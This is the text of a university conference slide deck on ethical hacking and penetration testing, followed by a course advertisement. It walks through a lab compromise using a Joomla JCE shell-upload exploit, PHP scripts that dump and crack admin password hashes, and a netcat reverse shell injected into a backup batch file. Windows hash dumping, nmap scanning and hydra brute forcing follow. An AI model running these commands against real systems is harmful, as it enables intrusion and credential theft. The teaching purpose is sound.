Ethical hacking 101 - Singapore RSA 2019

Associate Professor Paul Haskell-Dowland
Associate Dean (Computing and Security)
Edith Cowan University
p.haskelldowland@ecu.edu.au
@pdowland
Welcome

• Identify vulnerable service (website)
• Exploit vulnerabilities
• Gain remote access
• Escalate privileges
• Probe internal network
• Role of penetration testing
Outline
Source: https://commons.wikimedia.org/wiki/File:Cliche_Hacker_and_Binary_Code_(26946304530).jpg

• Identify the target
• Scour the web
• Specialist websites
• Shodan
• Ask people
• Underground discussion
forums
• Social engineering
Where do we start?

Identify vulnerable website
https://pentest-tools.com/information-gathering/find-subdomains-of-domain

Target specific vulnerability
• Having identified Joomla – now deploy a simple script…
root@kali:~# perl jce.pl hack.me
.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.
|||| Coded by: Mostafa Azizi (admin[@]0-Day[dot]net) ||||
[*] Checking Exploitability ...
[*] Trying to upload 0day.gif ...
[*] Trying to change extension from .gif to .php ...
[+] 0day.php was successfully uploaded
[+] Path:hack.me/images/stories/0day.php?cmd=id

Examine CMS configuration files
• Find blog config and get MySQL credentials
/* Database Settings */
var $host = 'localhost';
var $user = 'root';
var $password = 'root';
var $db = 'blog';
var $dbprefix = 'jos_';

Retrieve a ‘super administrator’ account
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$db="blog";
$conn = mysqli_connect($servername, $username, $password, $db);
$sql = "SELECT * FROM jos_users where usertype='Super Administrator';";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
echo $row['username'];
echo " ";
echo $row['password'];
mysqli_close($conn);
?>

Get blog admin password
• Joomla uses a simple hashing mechanism:
md5(password+salt)
• E.g.
md5($strLoginPassword."Ckbco8niuZ6ZR9lSnB80I8NtJki325j2")
• Stored as hash:salt
• Write a simple script with a password list 
fdb3d81d39d925c1332559d2ea53823e:
Ckbco8niuZ6ZR9lSnB80I8NtJki325j2

Crack MD5 hash (with salt)
<?php
$salt = "Ckbco8niuZ6ZR9lSnB80I8NtJki325j2";
$handle = fopen("top500.txt", "r");
while (($line = fgets($handle)) !== false)
{
$hash=md5(trim($line).$salt);
echo "Trying: ".$hash." ";
if ($hash=="fdb3d81d39d925c1332559d2ea53823e")
echo "Password is: ".$line." ";
}
fclose($handle);
?>
123456
password
12345678
1234
12345
dragon
qwerty
mustang
letmein
baseball
master
...

Launch a remote shell
• Use netcat
• cryptcat also available

Escalate privileges
...
@echo Dumping blog
@"C:Program Files (x86)MySQLMySQL Server
5.5binmysqldump.exe" --user=%dbuser% --password=%dbpass% --
databases blog --log-error="C:Backupdumperrors.txt" >
"C:Backupblog.%backupdate%.sql"
START c:inetpubwwwrootimagesstoriesnc 10.0.2.1 80 -e
cmd.exe

Get Windows passwords
>pwdump7
Administrator:500:NO PASSWORD*********************:47443E24FE435EB5210D9FEF2847659D:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
hackme:1004:NO PASSWORD*********************:F1B94635FACC09D9FCC637A113DC10B1:::
hackme2:1005:NO PASSWORD*********************:079F890A968B7F710A373ABB79EB11EB:::
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
Took about 15mins
Used two rainbow tables (238 and 239 passphrases)
~800 billion phrases
FREE!
http://ophcrack.sourceforge.net/

Scan internal network
>nmap -sn 10.0.2.0/24
nmap -sn 10.0.2.0/24
Starting Nmap 7.01 ( https://nmap.org ) at 2017-05-
23 14:46 GMT Daylight Time
Nmap scan report for 10.0.2.1
Host is up (0.013s latency).
MAC Address: 08:00:27:98:38:DB (Oracle VirtualBox
virtual NIC)
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in
2.59 seconds
>nmap 10.0.2.99
Starting Nmap 7.01 ( https://nmap.org )
Host is up (0.00s latency).
Not shown: 1084 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds

Access FTP share
>hydra -l hackme -P top500.txt ftp://10.0.2.99
hydra -l hackme -P top500.txt ftp://10.0.2.99
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or
secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-05-23 15:01:13
[DATA] max 16 tasks per 1 server, overall 64 tasks, 500 login tries
(l:1/p:500), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 10.0.2.99 login: hackme password: qwerty
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-05-23 15:01:13

So, why ethical hacking penetration testing?

• A controlled evaluation of vulnerabilities
• Compromised on your terms
• Rules of engagement
• Permissions
• Extent (how deep)
• But can also be wide (subsidiaries,
supply chain)
• Agree up front the ‘what if’ scenarios
• i.e. if the team get into the CEO’s email
or the payroll system…
• Privacy/ethics
• What do you want from the process?
• Reporting
Considerations
• Plan when the test will happen
• Think about implications for systems
• Will it be covert?
• Will colleagues detect (or react to) the
activity?
• Careful of ‘automated penetration testing’
• Need a report you can action…
• Think about the security of the pen test
• Embarrassing if a pen tester is piggy-
backed by a hacker
• Think about any backdoors left open
(physical and virtual)

• Phases
• Penetration testing can be split into a
number of ‘classic’ phases:
Penetration Testing
Phase
1 Reconnaissance
2 Scanning
3 Gaining access
4 Maintaining access
5 Covering tracks
• A more ‘formal approach’
• Information Gathering
• Information Analysis and Planning
• Vulnerability Detection
• Penetration
• Attack/Privilege Escalation
• Analysis and reporting
• Clean-up

A pen-testers perspective
Classic Phases

Reconnaissance
• Simply gathering data
• Doesn’t have to even involve a computer
• Social engineering
• Use the Internet to search for information
• Google (and other engines)
• The Internet Archive (way back machine)
• Social media
• The company’s own website!

Scanning
• Target discovery
• Enumerating services
• Vulnerability mapping
• Looking for countermeasures
• Documenting as you go along

Gaining access
• Exploiting discovered targets
• Sniffing and cracking
• Privilege escalation
• Application execution and exploitation
• Keylogging and log access

Completing the process
Maintaining access:
• Use of backdoors
• Think about security consequences
• What if a ‘real’ hacker discovers your backdoor?
• Document changes you make
• Refer back to target brief
• Exfiltration of data could be overt or covert
Covering tracks:
• Think about the ‘impression’ you leave behind on
systems
• Not just the ones you target
• Remote logging
• Firewall and IDS logs
• Logging in transit systems
Reporting:
• Remember who the client is!
• May need detailed and summary
documentation
• Executive summary
• Should include recommendations
• Must be actionable

Useful links
• https://www.virtualbox.org/
• https://www.kali.org/
• https://nmap.org/zenmap/
• http://ophcrack.sourceforge.net/
• https://www.wireshark.org/
• https://www.pathanalyzer.com/
• http://www.webextractor.com/
• https://www.shodan.io/
• https://pentest-tools.com/information-gathering/find-subdomains-of-domain

• Bachelors courses:
• Computer Science
• Counter Terrorism Security and Intelligence
• Cyber Security
• Information Technology
• Security
• Honours
• Information Technology
• Security
• Masters by Coursework
• Cyber Security
• Masters by Research
• Computing and Security
Computing & Security Courses

• ECU’s School of Science are developing new
lab facilities to provide cutting edge
laboratory environments for students in 2020.
• We are building brand new facilities including:
• $48m Science building
• Superlabs
• $2.5m Cyber 2.0 facility
• New IT labs
• Security Operations Centre
New facilities

• All computing & security courses available
fully online
• New block-based delivery model is perfect for
updating skills, re-training or career
development (M.Cyber)
• 20 credit units delivered in 6 week
intensive blocks
• Rotating carousel of units allowing
flexibility to step on/off in line with work
and family commitments
Study online

• Study in Melbourne/Sydney
• Graduate Certificate/Diploma of Cyber Security
• Master of Cyber Security
• Semester teaching model
• Available full time only
Study in Melbourne/Sydney

• Study in Singapore with ECU & PSB Academy
• Bachelor of Science (Cyber Security)
• Graduate Certificate of Cyber Security
• Master of Cyber Security
• Trimester teaching model (Bachelors)
• Masters available in block-based sequential
delivery (one module over 6 weeks)
• Available full and part time
Study in Singapore

ECUWORLDREADY.COM.AU
ECU Journey edithcowanuni edithcowanuniversity
edithcowanuniversityschool/edith-cowan-university

Ethical hacking 101 - Singapore RSA 2019

More Related Content

What's hot

Similar to Ethical hacking 101 - Singapore RSA 2019

Recently uploaded

Ethical hacking 101 - Singapore RSA 2019